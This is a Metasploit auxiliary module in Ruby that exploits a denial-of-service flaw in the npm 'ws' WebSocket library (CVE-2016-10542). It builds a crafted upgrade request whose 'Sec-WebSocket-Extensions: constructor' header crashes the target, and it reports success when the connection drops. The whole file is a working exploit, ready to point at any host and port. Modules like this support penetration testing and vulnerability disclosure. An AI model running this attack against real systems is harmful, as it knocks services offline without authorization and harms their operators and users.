##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize
    super(
      'Name' => 'ws - Denial of Service',
      'Description' => %q{
          This module exploits a Denial of Service vulnerability in npm module "ws".
        By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.
      },
      'References' => [
        ['CVE', '2016-10542'],
        ['URL', 'https://nodesecurity.io/advisories/550'],
        ['CWE', '400'],
      ],
      'Author' => [
        'Ryan Knell,  Sonatype Security Research',
        'Nick Starke, Sonatype Security Research',
      ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SERVICE_DOWN],
        'SideEffects' => [],
        'Reliability' => []
      }
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'The base path', '/']),
    ])
  end

  def run
    path = datastore['TARGETURI']

    # Create HTTP request
    req = [
      "GET #{path} HTTP/1.1",
      'Connection: Upgrade',
      "Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(5..14)}",
      'Sec-WebSocket-Version: 8',
      'Sec-WebSocket-Extensions: constructor', # Adding "constructor" as the value for this header causes the DoS
      'Upgrade: websocket',
      "\r\n"
    ].join("\r\n")

    begin
      connect
      print_status("Sending DoS packet to #{peer}")
      sock.put(req)

      data = sock.get_once(-1) # Attempt to retrieve data from the socket

      if data =~ /101/ # This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
        print_error('WebSocket Upgrade request Successful, service not vulnerable.')
      else
        fail_with(Failure::Unknown, 'An unknown error occurred')
      end

      disconnect
      print_error('DoS packet unsuccessful')
    rescue ::Rex::ConnectionRefused
      print_error("Unable to connect to #{peer}")
    rescue ::Errno::ECONNRESET, ::EOFError
      print_good("DoS packet successful. #{peer} not responding.")
    end
  end
end